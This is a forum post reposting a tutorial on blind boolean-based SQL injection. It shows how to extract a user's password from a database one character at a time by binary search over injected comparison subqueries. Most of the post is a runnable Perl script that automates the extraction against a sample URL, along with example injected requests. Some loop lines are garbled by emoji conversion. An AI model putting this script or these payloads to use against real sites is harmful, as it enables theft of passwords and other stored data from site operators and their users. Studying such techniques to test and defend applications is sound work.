Jump to content
SilentPH

Using Binary Search with SQL Injection

Recommended Posts

Posted (edited)

Using Binary Search with SQL Injection

With SQL Injection one may perform many cool attacks on a web site.

This text will not tell you how, as it assumes you're already familiar

with advanced SQL Injection.

Getting access to information using SQL Injection is sometimes

trivial, and sometimes hard. How hard it is depends on many factors,

such as: Is it possible to use UNION SELECT? Is it possible to batch

requests in order to INSERT or UPDATE something based on subselects?

The following presents a method to get access to values of textual

database fields when neither batched queries nor UNION SELECT will

help. There are a few requirements, though. And often those

requirements are not met, so you may view this text as purely

theoretical if you wish.

Let's say I know

* that the database in question has a table called "Usr". The table

has a "UserName" column containing user names, and a "Password"

column containing (clear-text, shame on them) passwords. The

"UserName" column contains unique values.

* that there's a user named "john".

* that SQL Injection is possible on some page, and that I may add a

boolean clause and use the page contents as an indicator of

whether the clause was TRUE or FALSE.

The following URL would display some page contents, for instance a

news article with ID 123:

Code:

http://somesite.example/foo.php?id=123+AND+1=1

while the following would display some other contents, for

instance _not_ the article with ID 123:

Code:

http://somesite.example/foo.php?id=123+AND+1=0

Given the above, it will be possible to find John's password using a

series of requests. Have a look at the following boolean part:

Code:

AND (SELECT COUNT( *) FROM Usr

WHERE UserName = 'john'

AND Password >= 'f') = 1

The expression contains a subselect that counts the number of johns

having a password textually greater than or equal to 'f'. It also

contains a check to see if the count is exactly one (it will be zero

or one, as the "UserName" column is unique).

Now, if we add this boolean expression to the URL, and the resulting

page contains what it contains only if the expression is true, we

known that John's password is textually greater than or equal to 'f'.

We may, of course, do similar tests for less than and equality, making

it possible to do a binary search in which we search for longer and

longer text strings until a complete match is found.

Below is a sample Perl program (written in a hurry without thinking,

not tested much, may contain bugs) to do such a search. The program

finds the password 'TopSecret' using only 106 requests.

(Even though I used user names and passwords in the example, the

approach would work for other kinds of data as well, as long as it is

possible to lock in on a single row in the target table.)

Code:

#!/usr/bin/perl -w

use LWP::Simple;

$baseurl = "http://somesite.example/foo.php?id=123";

$sqlinject = "+AND+(SELECT+COUNT( *)+FROM+Usr"

. "+WHERE+UserName='john'+AND+%s)=1";

$url = $baseurl . $sqlinject;

$field = "Password";

$mustcontain = "some text that is only visible when boolean is TRUE";

$numrequests = 0;

sub sqlstr {

# this sub depends on the target database

my($s) = @_;

$s =~ s/\'/\'\'/g;

$s =~ s/\\/\\\\/g;

return "'" . $s . "'";

}

sub urlenc {

my($s) = @_;

$s =~ s/([\000-\037\177-\377<>\"\#%{}|\\^~\[\]\`;\/?:@=&+])/

sprintf("%%%02X", ord($1))/ge;

$s =~ s/ /+/g;

return $s;

}

sub wget {

my($url) = @_;

$html = LWP::Simple::get($u);

if (!defined($html)) {

print "unable to connect\n";

exit 1;

}

++$numrequests;

return $html;

}

$stem = "";

for (;Wink {

$min = 1;

$max = 254;

for (;Wink {

$c = $min + int(($max - $min) / 2);

$c2 = $c + 1;

$value = $stem . chr($c);

$value2 = $stem . chr($c2);

$u = sprintf($url, &urlenc(" " . $field . "<" . &sqlstr($value)));

$html = &wget($u);

if (index ($html, $mustcontain) >= 0) {

$max = $c - 1;

} else {

$u = sprintf($url, &urlenc(" " . $field . ">="

. &sqlstr($value2)));

$html = &wget($u);

if (index ($html, $mustcontain) >= 0) {

$min = $c + 1;

} else {

$stem .= chr($c);

last;

}

}

if ($max < $min) {

print "huh?\n";

exit 1;

}

}

$u = sprintf($url, &urlenc(" " . $field . "=" . &sqlstr($stem)));

$html = &wget($u);

if (index ($html, $mustcontain) >= 0) {

print $field . " is \"" . $stem . "\" ("

. $numrequests . " requests)\n";

last;

}

}

Tutorial made by Sverre H. Huseby

Edited by SilentPH
  • Upvote 1

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...